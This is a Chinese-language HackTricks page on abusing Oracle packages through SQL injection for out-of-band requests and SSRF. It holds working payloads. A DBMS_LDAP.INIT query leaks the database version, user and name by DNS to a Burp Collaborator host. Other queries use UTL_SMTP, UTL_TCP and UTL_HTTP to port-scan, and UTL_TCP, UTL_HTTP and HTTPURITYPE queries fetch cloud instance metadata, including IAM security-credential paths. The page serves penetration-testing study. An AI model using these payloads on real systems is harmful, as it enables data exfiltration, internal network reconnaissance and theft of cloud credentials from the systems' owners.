Oracle injection

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

将此帖子存档为已删除帖子的wayback machine副本

SSRF

使用Oracle执行带外HTTP和DNS请求的方法已经有很多文档记录,但作为注入中提取SQL数据的手段。我们总是可以修改这些技术/函数来执行其他SSRF/XSPA。

安装Oracle可能非常痛苦,特别是如果您想设置一个快速实例来尝试命令。我的朋友和同事在AppseccoAbhisek Datta,向我指出了https://github.com/MaksymBilenko/docker-oracle-12c,这使我能够在t2.large AWS Ubuntu机器和Docker上设置一个实例。

我使用--network="host"标志运行了docker命令,以便我可以模拟Oracle作为一个具有完全网络访问权限的本地安装,用于本博文的过程。

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

支持URL或主机名/端口号规范的Oracle包

为了找到支持主机和端口规范的任何包和函数,我在Oracle数据库在线文档上进行了谷歌搜索。具体来说,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

搜索返回了以下结果(并非所有都可用于执行出站网络)

  • DBMS_NETWORK_ACL_ADMIN

  • UTL_SMTP

  • DBMS_XDB

  • DBMS_SCHEDULER

  • DBMS_XDB_CONFIG

  • DBMS_AQ

  • UTL_MAIL

  • DBMS_AQELM

  • DBMS_NETWORK_ACL_UTILITY

  • DBMS_MGD_ID_UTL

  • UTL_TCP

  • DBMS_MGWADM

  • DBMS_STREAMS_ADM

  • UTL_HTTP

这种简单的搜索显然会跳过像DBMS_LDAP(允许传递主机名和端口号)这样的包,因为文档页面只是简单地指向了不同的位置。因此,可能有其他可以滥用以发出请求的Oracle包我可能错过了。

无论如何,让我们来看看我们发现并列出的一些包。

DBMS_LDAP.INIT

DBMS_LDAP包允许访问LDAP服务器中的数据。init()函数初始化与LDAP服务器的会话,并将主机名和端口号作为参数。

此函数以前已经记录过,显示了通过DNS泄露数据,如下所示

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

然而,考虑到该函数接受主机名和端口号作为参数,您也可以利用它来像端口扫描器一样工作。

以下是一些示例:

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. 表明端口关闭,而会话值指向端口已打开。

UTL_SMTP

UTL_SMTP 包旨在通过 SMTP 发送电子邮件。Oracle 文档网站提供了一个示例,展示了如何使用该包发送电子邮件。然而,对我们而言,有趣的是能够提供主机和端口规范。

下面显示了一个简单示例,使用了 UTL_SMTP.OPEN_CONNECTION 函数,设置了 2 秒的超时时间。

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: 传输超时 表明端口是打开的,但未建立 SMTP 连接,而 ORA-29278: SMTP 临时错误: 421 服务不可用 表明端口已关闭。

UTL_TCP

UTL_TCP 包及其过程和函数允许与服务进行基于 TCP/IP 的通信。如果为特定服务编程,该包可以轻松成为进入网络或执行完整的服务器端请求的一种方式,因为可以控制 TCP/IP 连接的所有方面。

Oracle 文档网站上的示例展示了如何使用此包建立原始 TCP 连接以获取网页。我们可以简化一下,并使用它向元数据实例或任意 TCP/IP 服务发出请求。

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

有趣的是,由于能够构建原始的TCP请求,这个包也可以用来查询所有云提供商的实例元数据服务,因为方法类型和附加标头都可以在TCP请求中传递。

UTL_HTTP和Web请求

也许在每个关于Oracle SQL注入的外带教程中最常见且广泛记录的技术是UTL_HTTP。文档中定义了这个包 - UTL_HTTP包使SQL和PL/SQL可以进行超文本传输协议(HTTP)调用。您可以使用它来通过HTTP访问互联网上的数据。

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

你还可以使用这个方法执行一些基本的端口扫描,比如使用以下查询:

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

一个ORA-12541: TNS:no listenerTNS:operation timed out表示TCP端口关闭,而ORA-29263: HTTP protocol error或数据表示端口开放。

我过去使用过的另一个包是HTTPURITYPE Oracle抽象类型的GETCLOB()方法,它允许与URL交互并支持HTTP协议。GETCLOB()方法用于将URL的GET响应作为CLOB数据类型提取。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式:

最后更新于